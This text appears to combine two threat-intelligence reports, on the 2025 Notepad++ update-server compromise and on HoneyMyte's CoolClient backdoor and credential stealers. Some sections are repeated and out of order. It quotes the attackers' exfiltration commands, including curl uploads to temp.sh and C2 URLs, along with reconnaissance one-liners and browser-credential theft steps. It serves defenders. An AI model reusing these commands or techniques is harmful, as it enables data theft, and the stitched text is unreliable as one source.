In addition, the described activity can be detected by executing typical local reconnaissance commands that attackers launch in the early stages of an attack after gaining access to the system. These commands allow the attacker to quickly obtain information about the environment, access rights, running processes, and network connections to plan further actions. KEDR Expert detects such activity using the following rules: system_owner_user_discovery, using_whoami_to_check_that_current_user_is_admin, system_information_discovery_win, system_network_connections_discovery_via_standard_windows_utilities.
In this case, a clear sign of malicious activity is gaining persistence through the autorun mechanism via the Windows registry, specifically the Run key, which ensures that programs start automatically when the user logs in. KEDR Expert detects this activity using the temporary_folder_in_registry_autorun rule.
To protect companies that use our Kaspersky SIEM system, we have prepared a set of correlation rules that help detect such malicious activity. These rules are already available for customers to download from the SIEM repository; the package name is [OOTB] Notepad++ supply chain attack package – ENG.
The Notepad++ supply chain attack package contains rules that can be divided into two groups based on their detection capabilities:
Indicators of compromise:
malicious URLs used to extract information from the targeted infrastructure;
malicious file names and hashes that were detected in this campaign.
Suspicious activity on the host:
unusual command lines specific to these attacks;
suspicious network activity from Notepad++ processes and an abnormal process tree;
traces of data collection, e.g. single-character file names.
Some rules may need to be adjusted if they trigger on legitimate activity, such as administrators’ or inventory agents’ actions.
We also recommend using the rules from the Notepad++ supply chain attack package for retrospective analysis (threat hunting). Recommended analysis period: from September 2025.
For the detection rules to work correctly, you need to make sure that events from Windows systems are received in full, including events 4688 (with command line logging enabled), 5136 (packet filtering), 4663 (access to objects, especially files), etc.
UPD 11.02.2026: added recommendations on how to use the Notepad++ supply chain attack rules package in our SIEM system.
Introduction
On February 2, 2026, the developers of Notepad++, a text editor popular among developers, published a statement claiming that the update infrastructure of Notepad++ had been compromised. According to the statement, this was due to a hosting provider-level incident, which occurred from June to September 2025. However, attackers had been able to retain access to internal services until December 2025.
Multiple execution chains and payloads
Having checked our telemetry related to this incident, we were amazed to find out how different and unique the execution chains used in this supply chain attack were. We identified that over the course of four months, from July to October 2025, attackers who had compromised Notepad++ had been constantly rotating C2 server addresses used for distributing malicious updates, the downloaders used for implant delivery, as well as the final payloads.
We observed three different infection chains overall, designed to attack about a dozen machines, belonging to:
Individuals located in Vietnam, El Salvador, and Australia;
A government organization located in the Philippines;
A financial organization located in El Salvador;
An IT service provider organization located in Vietnam.
Despite the variety of payloads observed, Kaspersky solutions were able to block the identified attacks as they occurred.
In this article, we describe the variety of the infection chains we observed in the Notepad++ supply chain attack, as well as provide numerous previously unpublished IoCs related to it.
Chain #1: late July and early August 2025
We observed attackers to deploy a malicious Notepad++ update for the first time in late July 2025. It was hosted at http://45.76.155[.]202/update/update.exe. Notably, the first scan of this URL on the VirusTotal platform occurred in late September, by a user from Taiwan.
The update.exe file downloaded from this URL (SHA1: 8e6e505438c21f3d281e1cc257abdbf7223b7f5a) was launched by the legitimate Notepad++ updater process, GUP.exe. This file turned out to be a NSIS installer about 1 MB in size. When started, it sends a heartbeat containing system information to the attackers. This is done through the following steps:
The file creates a directory named %appdata%\ProShow and sets it as the current directory;
It executes the shell command cmd /c whoami&&tasklist > 1.txt, thus creating a file with the shell command execution results in the %appdata%\ProShow directory;
Then it uploads the 1.txt file to the temp[.]sh hosting service by executing the curl.exe -F "file=@1.txt" -s https://temp.sh/upload command;
Next, it sends the URL to the uploaded 1.txt file by using the curl.exe --user-agent "https://temp.sh/ZMRKV/1.txt" -s http://45.76.155[.]202 shell command. As can be observed, the uploaded file URL is transferred inside the user agent.
Notably, the same behavior of malicious Notepad++ updates, specifically the launch of shell commands and the use of the temp[.]sh website for file uploading, was described on the Notepad++ community forums by a user named soft-parsley.
After sending system information, the update.exe file executes the second-stage payload. To do that, it performs the following actions:
Drops the following files to the %appdata%\ProShow directory:
The ProShow.exe file being launched is legitimate ProShow software, which is abused to launch a malicious payload. Normally, when threat actors aim to execute a malicious payload inside a legitimate process, they resort to the DLL sideloading technique. However, this time attackers decided to avoid using it — likely due to how much attention this technique receives nowadays. Instead, they abused an old, known vulnerability in the ProShow software, which dates back to early 2010s. The dropped file named load contains an exploit payload, which is launched when the ProShow.exe file is launched. It is worth noting that, apart from this payload, all files in the %appdata%\ProShow directory are legitimate.
Analysis of the exploit payload revealed that it contained two shellcodes: one at the very start and the other one in the middle of the file. The shellcode located at the start of the file contained a set of meaningless instructions and was not designed to be executed — rather, attackers used it as the exploit padding bytes. It is likely that, by using a fake shellcode for padding bytes instead of something else (e.g., a sequence of 0x41 characters or random bytes), attackers aimed to confuse researchers and automated analysis systems.
The second shellcode, which is stored in the middle of the file, is the one that is launched when ProShow.exe is started. It decrypts a Metasploit downloader payload that retrieves a Cobalt Strike Beacon shellcode from the URL https://45.77.31[.]210/users/admin (user agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36) and launches it.
The Cobalt Strike Beacon payload is designed to communicate with the cdncheck.it[.]com C2 server. For instance, it uses the GET request URL https://45.77.31[.]210/api/update/v1 and the POST request URL https://45.77.31[.]210/api/FileUpload/submit.
Later on, in early August 2025, we observed attackers to use the same download URL for the update.exe files (observed SHA1 hash: 90e677d7ff5844407b9c073e3b7e896e078e11cd), as well as the same execution chain for delivery of Cobalt Strike Beacon via malicious Notepad++ updates. However, we noted the following differences:
In the Metasploit downloader payload, the URL for downloading Cobalt Strike Beacon was set to https://cdncheck.it[.]com/users/admin;
The Cobalt Strike C2 server URLs were set to https://cdncheck.it[.]com/api/update/v1 and https://cdncheck.it[.]com/api/Metadata/submit.
We have not further seen any infections leveraging chain #1 since early August 2025.
Chain #2: mid- and late September 2025
A month and a half after malicious update detections ceased, we observed attackers to resume deploying these updates in the middle of September 2025, using another infection chain. The malicious update was still being distributed from the URL http://45.76.155[.]202/update/update.exe, and the file downloaded from it (SHA1 hash: 573549869e84544e3ef253bdba79851dcde4963a) was an NSIS installer as well. However, its file size was now about 140 KB. Again, this file performed two actions:
Obtained system information by executing a shell command and uploading its execution results to temp[.]sh;
Dropped a next-stage payload on disk and launched it.
Regarding system information, attackers made the following changes to how it was collected:
They changed the working directory to %APPDATA%\Adobe\Scripts;
They started collecting more system information details, changing the shell command being executed to cmd /c "whoami&&tasklist&&systeminfo&&netstat -ano" > a.txt.
The created a.txt file was, just as in the case of stage #1, uploaded to the temp[.]sh website through curl, with the obtained temp[.]sh URL being transferred to the same http://45.76.155[.]202/list endpoint, inside the User-Agent header.
As for the next-stage payload, it was changed completely. The NSIS installer was configured to drop the following files into the %APPDATA%\Adobe\Scripts directory:
Next, it executes the following shell command to launch the script.exe file: %APPDATA%\%Adobe\Scripts\script.exe %APPDATA%\Adobe\Scripts\alien.ini.
All of the files in the %APPDATA%\Adobe\Scripts directory, except for alien.ini, are legitimate and related to the Lua interpreter. As such, the previously mentioned command is used by attackers to launch a compiled Lua script, located in the alien.ini file. Below is a screenshot of its decompilation:
As we can see, this small script is used for placing shellcode inside executable memory and then launching it through the EnumWindowStationsW API function.
The launched shellcode is, just in the case of chain #1, a Metasploit downloader, which downloads a Cobalt Strike Beacon payload, again in the form of a shellcode, from the URL https://cdncheck.it[.]com/users/admin.
The Cobalt Strike payload contains the C2 server URLs that slightly differ from the ones seen previously: https://cdncheck.it[.]com/api/getInfo/v1 and https://cdncheck.it[.]com/api/FileUpload/submit.
Attacks involving chain #2 continued until the end of September, when we observed two more malicious update.exe files. One of them had the SHA1 hash 13179c8f19fbf3d8473c49983a199e6cb4f318f0. The Cobalt Strike Beacon payload delivered through it was configured to use the same URLs observed in mid-September, however, attackers changed the way system information was collected. Specifically, attackers split the single shell command they used for this (cmd /c "whoami&&tasklist&&systeminfo&&netstat -ano" > a.txt) into multiple commands:
cmd /c whoami >> a.txt
cmd /c tasklist >> a.txt
cmd /c systeminfo >> a.txt
cmd /c netstat -ano >> a.txt
Notably, the same sequence of commands was previously documented by the user soft-parsley on the Notepad++ community forums.
The other update.exe file had the SHA1 hash 4c9aac447bf732acc97992290aa7a187b967ee2c. By using it, attackers performed the following:
Changed the system information upload URL to https://self-dns.it[.]com/list;
Changed the user agent used in HTTP requests to Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36;
Changed the URL used by the Metasploit downloader to https://safe-dns.it[.]com/help/Get-Start;
Changed the Cobalt Strike Beacon C2 server URLs to https://safe-dns.it[.]com/resolve and https://safe-dns.it[.]com/dns-query.
Chain #3: October 2025
In early October 2025, the attackers changed the infection chain once again. They also changed the C2 server for distributing malicious updates, with the observed update URL being http://45.32.144[.]255/update/update.exe. The payload downloaded (SHA1: d7ffd7b588880cf61b603346a3557e7cce648c93) was still a NSIS installer, however, unlike in the case of chains 1 and 2, this installer did not include the system information sending functionality. It simply dropped the following files to the %appdata%\Bluetooth\ directory:
BluetoothService.exe, a legitimate executable (SHA1: 21a942273c14e4b9d3faa58e4de1fd4d5014a1ed);
log.dll, a malicious DLL (SHA1: f7910d943a013eede24ac89d6388c1b98f8b3717);
BluetoothService, an encrypted shellcode (SHA1: 7e0790226ea461bcc9ecd4be3c315ace41e1c122).
This execution chain relies on the sideloading of the log.dll file, which is responsible for launching the encrypted BluetoothService shellcode into the BluetoothService.exe process. Notably, such execution chains are commonly used by Chinese-speaking threat actors. This particular execution chain has already been described by Rapid7, and the final payload observed in it is the custom Chrysalis backdoor.
Unlike the previous chains, chain #3 does not load a Cobalt Strike Beacon directly. However, in their article Rapid7 claim that they additionally observed a Cobalt Strike Beacon payload being deployed to the C:\ProgramData\USOShared folder, while conducting incident response on one of the machines infected by the Notepad++ supply chain attack. Whilst Rapid7 does not detail how this file was dropped to the victim machine, we can highlight the following similarities between that Beacon payload and the Beacon payloads observed in chains #1 and #2:
In both cases, Beacons are loaded through a Metasploit downloader shellcode, with similar URLs used (api.wiresguard.com/users/admin for the Rapid7 payload, cdncheck.it.com/users/admin and http://45.77.31[.]210/users/admin for chain #1 and chain #2 payloads);
The Beacon configurations are encrypted with the XOR key CRAZY;
Similar C2 server URLs are used for Cobalt Strike Beacon communications (i.e. api.wiresguard.com/api/FileUpload/submit for the Rapid7 payload and https://45.77.31[.]210/api/FileUpload/submit for the chain #1 payload).
Return of chain #2 and changes in URLs: October 2025
In mid-October 2025, we observed attackers to resume deployments of the chain #2 payload (SHA1 hash: 821c0cafb2aab0f063ef7e313f64313fc81d46cd) using yet another URL: http://95.179.213[.]0/update/update.exe. Still, this payload used the previously mentioned self-dns.it[.]com and safe-dns.it[.]com domain names for system information uploading, Metasploit downloader and Cobalt Strike Beacon communications.
Further in late October 2025, we observed attackers to start changing URLs used for malicious update deliveries. Specifically, attackers started using the following URLs:
http://95.179.213[.]0/update/install.exe;
http://95.179.213[.]0/update/update.exe;
http://95.179.213[.]0/update/AutoUpdater.exe.
We didn’t observe any new payloads deployed from these URLs — they involved usage of both #2 and #3 execution chains. Finally, we didn’t see any payloads being deployed since November 2025.
Conclusion
Notepad++ is a text editor used by numerous developers. As such, the ability to control update servers of this software gave the attackers a unique possibility to break into machines of high-profile organizations around the world. The attackers made an effort to avoid losing access to this infection vector — they were spreading the malicious implants in a targeted manner, and they were skilled enough to drastically change the infection chains about once a month. Whilst we identified three distinct infection chains during our investigation, we would not be surprised to see more of them in use. To sum up our findings, here is the overall timeline of the infection chains that we identified:
The variety of infection chains makes detection of the Notepad++ supply chain attack quite a difficult, and at the same time creative, task. We would like to propose the following methods, from generic to specific, to hunt down traces of this attack:
Check systems for deployments of NSIS installers, which were used in all three observed execution chains. For example, this can be done by looking for logs related to creations of a %localappdata%\Temp\ns.tmp directory, made by NSIS installers at runtime. Make sure to investigate the origins of each identified NSIS installer to avoid false positives;
Check network traffic logs for DNS resolutions of the temp[.]sh domain, which is unusual to observe in corporate environments. Also, it is beneficial to conduct a check for raw HTTP traffic requests that have a temp[.]sh URL embedded in the user agent — both these steps will make it possible to detect chain #1 and chain #2 deployments;
Check systems for launches of malicious shell commands referenced in the article, such as whoami, tasklist, systeminfo and netstat -ano;
Use the specific IoCs listed below to identify known malicious domains and files.
Let’s take a closer look at Kaspersky Next EDR Expert.
One way to detect the described malicious activity is to monitor requests to LOLC2 (Living-Off-the-Land C2) services, which include temp[.]sh. Attackers use such services as intermediate control or delivery points for malicious payloads, masking C2 communication as legitimate web traffic. KEDR Expert detects this activity using the lolc2_connection_activity_network rule.
In addition, the described activity can be detected by executing typical local reconnaissance commands that attackers launch in the early stages of an attack after gaining access to the system. These commands allow the attacker to quickly obtain information about the environment, access rights, running processes, and network connections to plan further actions. KEDR Expert detects such activity using the following rules: system_owner_user_discovery, using_whoami_to_check_that_current_user_is_admin, system_information_discovery_win, system_network_connections_discovery_via_standard_windows_utilities.
In this case, a clear sign of malicious activity is gaining persistence through the autorun mechanism via the Windows registry, specifically the Run key, which ensures that programs start automatically when the user logs in. KEDR Expert detects this activity using the temporary_folder_in_registry_autorun rule.
To protect companies that use our Kaspersky SIEM system, we have prepared a set of correlation rules that help detect such malicious activity. These rules are already available for customers to download from the SIEM repository; the package name is [OOTB] Notepad++ supply chain attack package – ENG.
The Notepad++ supply chain attack package contains rules that can be divided into two groups based on their detection capabilities:
Indicators of compromise:
malicious URLs used to extract information from the targeted infrastructure;
malicious file names and hashes that were detected in this campaign.
Suspicious activity on the host:
unusual command lines specific to these attacks;
suspicious network activity from Notepad++ processes and an abnormal process tree;
traces of data collection, e.g. single-character file names.
Some rules may need to be adjusted if they trigger on legitimate activity, such as administrators’ or inventory agents’ actions.
We also recommend using the rules from the Notepad++ supply chain attack package for retrospective analysis (threat hunting). Recommended analysis period: from September 2025.
For the detection rules to work correctly, you need to make sure that events from Windows systems are received in full, including events 4688 (with command line logging enabled), 5136 (packet filtering), 4663 (access to objects, especially files), etc.
Over the past few years, we’ve been observing and monitoring the espionage activities of HoneyMyte (aka Mustang Panda or Bronze President) within Asia and Europe, with the Southeast Asia region being the most affected. The primary targets of most of the group’s campaigns were government entities.
As an APT group, HoneyMyte uses a variety of sophisticated tools to achieve its goals. These tools include ToneShell, PlugX, Qreverse and CoolClient backdoors, Tonedisk and SnakeDisk USB worms, among others. In 2025, we observed HoneyMyte updating its toolset by enhancing the CoolClient backdoor with new features, deploying several variants of a browser login data stealer, and using multiple scripts designed for data theft and reconnaissance.
An early version of the CoolClient backdoor was first discovered by Sophos in 2022, and TrendMicro later documented an updated version in 2023. Fast forward to our recent investigations, we found that CoolClient has evolved quite a bit, and the developers have added several new features to the backdoor. This updated version has been observed in multiple campaigns across Myanmar, Mongolia, Malaysia and Russia where it was often deployed as a secondary backdoor in addition to PlugX and LuminousMoth infections.
In our observations, CoolClient was typically delivered alongside encrypted loader files containing encrypted configuration data, shellcode, and in-memory next-stage DLL modules. These modules relied on DLL sideloading as their primary execution method, which required a legitimate signed executable to load a malicious DLL. Between 2021 and 2025, the threat actor abused signed binaries from various software products, including BitDefender, VLC Media Player, Ulead PhotoImpact, and several Sangfor solutions.
Variants of CoolClient abusing different software for DLL sideloading (2021–2025)
The latest CoolClient version analyzed in this article abuses legitimate software developed by Sangfor. Below, you can find an overview of how it operates. It is worth noting that its behavior remains consistent across all variants, except for differences in the final-stage features.
Overview of CoolClient execution flow
However, it is worth noting that in another recent campaign involving this malware in Pakistan and Myanmar, we observed that HoneyMyte has introduced a newer variant of CoolClient that drops and executes a previously unseen rootkit. A separate report will be published in the future that covers the technical analysis and findings related to this CoolClient variant and the associated rootkit.
CoolClient functionalities
In terms of functionality, CoolClient collects detailed system and user information. This includes the computer name, operating system version, total physical memory (RAM), network details (MAC and IP addresses), logged-in user information, and descriptions and versions of loaded driver modules. Furthermore, both old and new variants of CoolClient support file upload to the C2, file deletion, keylogging, TCP tunneling, reverse proxy listening, and plugin staging/execution for running additional in-memory modules. These features are still present in the latest versions, alongside newly added functionalities.
In this latest variant, CoolClient relies on several important files to function properly:
Filename
Description
Sang.exe
Legitimate Sangfor application abused for DLL sideloading.
libngs.dll
Malicious DLL used to decrypt loader.dat and execute shellcode.
loader.dat
Encrypted file containing shellcode and a second-stage DLL. Parameter checker and process injection activity reside here.
time.dat
Encrypted configuration file.
main.dat
Encrypted file containing shellcode and a third-stage DLL. The core functionality resides here.
Parameter modes in second-stage DLL
CoolClient typically requires three parameters to function properly. These parameters determine which actions the malware is supposed to perform. The following parameters are supported.
Parameter
Actions
No parameter
· CoolClient will launch a new process of itself with the install parameter. For example: Sang.exe install.
install
CoolClient decrypts time.dat.
Adds new key to the Run registry for persistence mechanism.
Creates a process named write.exe.
Decrypts and injects loader.dat into a newly created write.exe process.
Checks for service control manager (SCM) access.
Checks for multiple AV processes such as 360sd.exe, zhudongfangyu.exe and 360desktopservice64.exe.
Installs a service named media_updaten and starts it.
If the current user is in the Administrator group, creates a new process of itself with the passuac parameter to bypass UAC.
work
Creates a process named write.exe.
Decrypts and injects loader.dat into a newly spawned write.exe process.
passuac
Bypasses UAC and performs privilege elevation.
Checks if the machine runs Windows 10 or a later version.
Impersonates svchost.exe process by spoofing PEB information.
Creates a scheduled task named ComboxResetTask for persistence. The task executes the malware with the work parameter.
Elevates privileges to admin by duplicating an access token from an existing elevated process.
Final stage DLL
The write.exe process decrypts and launches the main.dat file, which contains the third (final) stage DLL. CoolClient’s core features are implemented in this DLL. When launched, it first checks whether the keylogger, clipboard stealer, and HTTP proxy credential sniffer are enabled. If they are, CoolClient creates a new thread for each specific functionality. It is worth noting that the clipboard stealer and HTTP proxy credential sniffer are new features that weren’t present in older versions.
Clipboard and active windows monitor
A new feature introduced in CoolClient is clipboard monitoring, which leverages functions that are typically abused by clipboard stealers, such as GetClipboardData and GetWindowTextW, to capture clipboard information.
CoolClient also retrieves the window title, process ID and current timestamp of the user’s active window using the GetWindowTextW API. This information enables the attackers to monitor user behavior, identify which applications are in use, and determine the context of data copied at a given moment.
The clipboard contents and active window information are encrypted using a simple XOR operation with the byte key 0xAC, and then written to a file located at C:\ProgramData\AppxProvisioning.xml.
HTTP proxy credential sniffer
Another notable new functionality is CoolClient’s ability to extract HTTP proxy credentials from the host’s HTTP traffic packets. To do so, the malware creates dedicated threads to intercept and parse raw network traffic on each local IP address. Once it is able to intercept and parse the traffic, CoolClient starts extracting proxy authentication credentials from HTTP traffic intercepted by the malware’s packet sniffer.
The function operates by analyzing the raw TCP payload to locate the Proxy-Connection header and ensure the packet is relevant. It then looks for the Proxy-Authorization: Basic header, extracts and decodes the Base64-encoded credential and saves it in memory to be sent later to the C2.
Function used to find and extract Base64-encoded credentials from HTTP proxy-authorization headers
C2 command handler
The latest CoolClient variant uses TCP as the main C2 communication protocol by default, but it also has the option to use UDP, similar to the previous variant. Each incoming payload begins with a four-byte magic value to identify the command family. However, if the command is related to downloading and running a plugin, this value is absent. If the client receives a packet without a recognized magic value, it switches to plugin mode (mechanism used to receive and execute plugin modules in memory) for command processing.
Magic value
Command category
CC BB AA FF
Beaconing, status update, configuration.
CD BB AA FF
Operational commands such as tunnelling, keylogging and file operations.
No magic value
Receive and execute plugin module in memory.
0xFFAABBCC – Beacon and configuration commands
Below is the command menu to manage client status and beaconing:
Command ID
Action
0x0
Send beacon connection
0x1
Update beacon timestamp
0x2
Enumerate active user sessions
0x3
Handle incoming C2 command
0xFFAABBCD – Operational commands
This command group implements functionalities such as data theft, proxy setup, and file manipulation. The following is a breakdown of known subcommands:
Command ID
Action
0x0
Set up reverse tunnel connection
0x1
Send data through tunnel
0x2
Close tunnel connection
0x3
Set up reverse proxy
0x4
Shut down a specific socket
0x6
List files in a directory
0x7
Delete file
0x8
Set up keylogger
0x9
Terminate keylogger thread
0xA
Get clipboard data
0xB
Install clipboard and active windows monitor
0xC
Turn off clipboard and active windows monitor
0xD
Read and send file
0xE
Delete file
CoolClient plugins
CoolClient supports multiple plugins, each dedicated to a specific functionality. Our recent findings indicate that the HoneyMyte group actively used CoolClient in campaigns targeting Mongolia, where the attackers pushed and executed a plugin named FileMgrS.dll through the C2 channel for file management operations.
Further sample hunting in our telemetry revealed two additional plugins: one providing remote shell capability (RemoteShellS.dll), and another focused on service management (ServiceMgrS.dll).
ServiceMgrS.dll – Service management plugin
This plugin is used to manage services on the victim host. It can enumerate all services, create new services, and even delete existing ones. The following table lists the command IDs and their respective actions.
Command ID
Action
0x0
Enumerate services
0x1 / 0x4
Start or resume service
0x2
Stop service
0x3
Pause service
0x5
Create service
0x6
Delete service
0x7
Set service to start automatically at boot
0x8
Set service to be launched manually
0x9
Set service to disabled
FileMgrS.dll – File management plugin
A few basic file operations are already supported in the operational commands of the main CoolClient implant, such as listing directory contents and deleting files. However, the dedicated file management plugin provides a full set of file management capabilities.
Command ID
Action
0x0
List drives and network resources
0x1
List files in folder
0x2
Delete file or folder
0x3
Create new folder
0x4
Move file
0x5
Read file
0x6
Write data to file
0x7
Compress file or folder into ZIP archive
0x8
Execute file
0x9
Download and execute file using certutil
0xA
Search for file
0xB
Send search result
0xC
Map network drive
0xD
Set chunk size for file transfers
0xF
Bulk copy or move
0x10
Get file metadata
0x11
Set file metadata
RemoteShellS.dll – Remote shell plugin
Based on our analysis of the main implant, the C2 command handler did not implement remote shell functionality. Instead, CoolClient relied on a dedicated plugin to enable this capability. This plugin spawns a hidden cmd.exe process, redirecting standard input and output through pipes, which allows the attacker to send commands into the process and capture the resulting output. This output is then forwarded back to the C2 server for remote interaction.
CoolClient plugin that spawns cmd.exe with redirected I/O and forwards command output to C2
Browser login data stealer
While investigating suspicious ToneShell backdoor traffic originating from a host in Thailand, we discovered that the HoneyMyte threat actor had downloaded and executed a malware sample intended to extract saved login credentials from the Chrome browser as part of their post-exploitation activities. We will refer to this sample as Variant A. On the same day, the actor executed a separate malware sample (Variant B) targeting credentials stored in the Microsoft Edge browser. Both samples can be considered part of the same malware family.
During a separate threat hunting operation focused on HoneyMyte’s QReverse backdoor, we retrieved another variant of a Chrome credential parser (Variant C) that exhibited significant code similarities to the sample used in the aforementioned ToneShell campaign.
The malware was observed in countries such as Myanmar, Malaysia, and Thailand, with a particular focus on the government sector.
The following table shows the variants of this browser credential stealer employed by HoneyMyte.
Variant
Targeted browser(s)
Execution method
MD5 hash
A
Chrome
Direct execution (PE32)
1A5A9C013CE1B65ABC75D809A25D36A7
B
Edge
Direct execution (PE32)
E1B7EF0F3AC0A0A64F86E220F362B149
C
Chromium-based browsers
DLL side-loading
DA6F89F15094FD3F74BA186954BE6B05
These stealers may be part of a new malware toolset used by HoneyMyte during post-exploitation activities.
Initial infection
As part of post-exploitation activity involving the ToneShell backdoor, the threat actor initially executed the Variant A stealer, which targeted Chrome credentials. However, we were unable to determine the exact delivery mechanism used to deploy it.
A few minutes later, the threat actor executed a command to download and run the Variant B stealer from a remote server. This variant specifically targeted Microsoft Edge credentials.
Within the same hour that Variant B was downloaded and executed, we observed the threat actor issue another command to exfiltrate the Firefox browser cookie file (cookies.sqlite) to Google Drive using a curl command.
Unlike Variants A and B, which use hardcoded file paths, the Variant C stealer accepts two runtime arguments: file paths to the browser’s Login Data and Local State files. This provides greater flexibility and enables the stealer to target any Chromium-based browser such as Chrome, Edge, Brave, or Opera, regardless of the user profile or installation path. An example command used to execute Variant C is as follows:
In this context, the Login Data file is an SQLite database that stores saved website login credentials, including usernames and AES-encrypted passwords. The Local State file is a JSON-formatted configuration file containing browser metadata, with the most important value being encrypted_key, a Base64-encoded AES key. It is required to decrypt the passwords stored in the Login Data database and is also encrypted.
When executed, the malware copies the Login Data file to the user’s temporary directory as chromeTmp.
Function that copies Chrome browser login data into a temporary file (chromeTmp) for exfiltration
To retrieve saved credentials, the malware executes the following SQL query on the copied database:
SELECT origin_url, username_value, password_value FROM logins
This query returns the login URL, stored username, and encrypted password for each saved entry.
Next, the malware reads the Local State file to extract the browser’s encrypted master key. This key is protected using the Windows Data Protection API (DPAPI), ensuring that the encrypted data can only be decrypted by the same Windows user account that created it. The malware then uses the CryptUnprotectData API to decrypt this key, enabling it to access and decrypt password entries from the Login Data SQLite database.
With the decrypted AES key in memory, the malware proceeds to decrypt each saved password and reconstructs complete login records.
Finally, it saves the results to the text file C:\Users\Public\Libraries\License.txt.
Login data stealer’s attribution
Our investigation indicated that the malware was consistently used in the ToneShell backdoor campaign, which was attributed to the HoneyMyte APT group.
Another factor supporting our attribution is that the browser credential stealer appeared to be linked to the LuminousMoth APT group, which has previously been connected to HoneyMyte. Our analysis of LuminousMoth’s cookie stealer revealed several code-level similarities with HoneyMyte’s credential stealer. For example, both malware families used the same method to copy targeted files, such as Login Data and Cookies, into a temporary folder named ChromeTmp, indicating possible tool reuse or a shared codebase.
Code similarity between HoneyMyte’s saved login data stealer and LuminousMoth’s cookie stealer
Both stealers followed the same steps: they checked if the original Login Data file existed, located the temporary folder, and copied the browser data into a file with the same name.
Based on these findings, we assess with high confidence that HoneyMyte is behind this browser credential stealer, which also has a strong connection to the LuminousMoth APT group.
Document theft and system information reconnaissance scripts
In several espionage campaigns, HoneyMyte used a number of scripts to gather system information, conduct document theft activities and steal browser login data. One of these scripts is a batch file named 1.bat.
1.bat – System enumeration and data exfiltration batch script
The script starts by downloading curl.exe and rar.exe into the public folder. These are the tools used for file transfer and compression.
Batch script that downloads curl.exe and rar.exe from HoneyMyte infrastructure and executes them for file transfer and compression
It then collects network details and downloads and runs the nbtscan tool for internal network scanning.
Batch script that performs network enumeration and saves the results to the log.dat file for later exfiltration
During enumeration, the script also collects information such as stored credentials, the result of the systeminfo command, registry keys, the startup folder list, the list of files and folders, and antivirus information into a file named log.dat. It then uploads this file via FTP to http://113.23.212[.]15/pub/.
Batch script that collects registry, startup items, directories, and antivirus information for system profiling
Next, it deletes both log.dat and the nbtscan executable to remove traces. The script then terminates browser processes, compresses browser-related folders, retrieves FileZilla configuration files, archives documents from all drives with rar.exe, and uploads the collected data to the same server.
Finally, it deletes any remaining artifacts to cover its tracks.
Ttraazcs32.ps1 – PowerShell-based collection and exfiltration
The second script observed in HoneyMyte operations is a PowerShell file named Ttraazcs32.ps1.
Similar to the batch file, this script downloads curl.exe and rar.exe into the public folder to handle file transfers and compression. It collects computer and user information, as well as network details such as the public IP address and Wi-Fi network data.
All gathered information is written to a file, compressed into a password-protected RAR archive and uploaded via FTP.
In addition to system profiling, the script searches multiple drives including C:\Users\Desktop, Downloads, and drives D: to Z: for recently modified documents. Targeted file types include .doc, .xls, .pdf, .tif, and .txt, specifically those changed within the last 60 days. These files are also compressed into a password-protected RAR archive and exfiltrated to the same FTP server.
t.ps1 – Saved login data collection and exfiltration
The third script attributed to HoneyMyte is a PowerShell file named t.ps1.
The script requires a number as a parameter and creates a working directory under D:\temp with that number as the directory name. The number is not related to any identifier. It is simply a numeric label that is probably used to organize stolen data by victim. If the D drive doesn’t exist on the victim’s machine, the new folder will be created in the current working directory.
The script then searches the system for Chrome and Chromium-based browser files such as Login Data and Local State. It copies these files into the target directory and extracts the encrypted_key value from the Local State file. It then uses Windows DPAPI (System.Security.Cryptography.ProtectedData) to decrypt this key and writes the decrypted Base64-encoded key into a new file named Local State-journal in the same directory. For example, if the original file is C:\Users\$username \AppData\Local\Google\Chrome\User Data\Local State, the script creates a new file C:\Users\$username\AppData\Local\Google\Chrome\User Data\Local State-journal, which the attacker can later use to access stored credentials.
PowerShell script that extracts and decrypts the Chrome encrypted_key from the Local State file before writing the result to a Local State-journal file
Once the credential data is ready, the script verifies that both rar.exe and curl.exe are available. If they are not present, it downloads them directly from Google Drive. The script then compresses the collected data into a password-protected archive (the password is “PIXELDRAIN”) and uploads it to pixeldrain.com using the service’s API, authenticated with a hardcoded token. Pixeldrain is a public file-sharing service that attackers abuse for data exfiltration.
Script that compresses data with RAR, and exfiltrates it to Pixeldrain via API
This approach highlights HoneyMyte’s shift toward using public file-sharing services to covertly exfiltrate sensitive data, especially browser login credentials.
Conclusion
Recent findings indicate that HoneyMyte continues to operate actively in the wild, deploying an updated toolset that includes the CoolClient backdoor, a browser login data stealer, and various document theft scripts.
With capabilities such as keylogging, clipboard monitoring, proxy credential theft, document exfiltration, browser credential harvesting, and large-scale file theft, HoneyMyte’s campaigns appear to go far beyond traditional espionage goals like document theft and persistence. These tools indicate a shift toward the active surveillance of user activity that includes capturing keystrokes, collecting clipboard data, and harvesting proxy credential.
Organizations should remain highly vigilant against the deployment of HoneyMyte’s toolset, including the CoolClient backdoor, as well as related malware families such as PlugX, ToneShell, Qreverse, and LuminousMoth. These operations are part of a sophisticated threat actor strategy designed to maintain persistent access to compromised systems while conducting high-value surveillance activities.
Over the past few years, we’ve been observing and monitoring the espionage activities of HoneyMyte (aka Mustang Panda or Bronze President) within Asia and Europe, with the Southeast Asia region being the most affected. The primary targets of most of the group’s campaigns were government entities.
As an APT group, HoneyMyte uses a variety of sophisticated tools to achieve its goals. These tools include ToneShell, PlugX, Qreverse and CoolClient backdoors, Tonedisk and SnakeDisk USB worms, among others. In 2025, we observed HoneyMyte updating its toolset by enhancing the CoolClient backdoor with new features, deploying several variants of a browser login data stealer, and using multiple scripts designed for data theft and reconnaissance.
An early version of the CoolClient backdoor was first discovered by Sophos in 2022, and TrendMicro later documented an updated version in 2023. Fast forward to our recent investigations, we found that CoolClient has evolved quite a bit, and the developers have added several new features to the backdoor. This updated version has been observed in multiple campaigns across Myanmar, Mongolia, Malaysia and Russia where it was often deployed as a secondary backdoor in addition to PlugX and LuminousMoth infections.
In our observations, CoolClient was typically delivered alongside encrypted loader files containing encrypted configuration data, shellcode, and in-memory next-stage DLL modules. These modules relied on DLL sideloading as their primary execution method, which required a legitimate signed executable to load a malicious DLL. Between 2021 and 2025, the threat actor abused signed binaries from various software products, including BitDefender, VLC Media Player, Ulead PhotoImpact, and several Sangfor solutions.
Variants of CoolClient abusing different software for DLL sideloading (2021–2025)
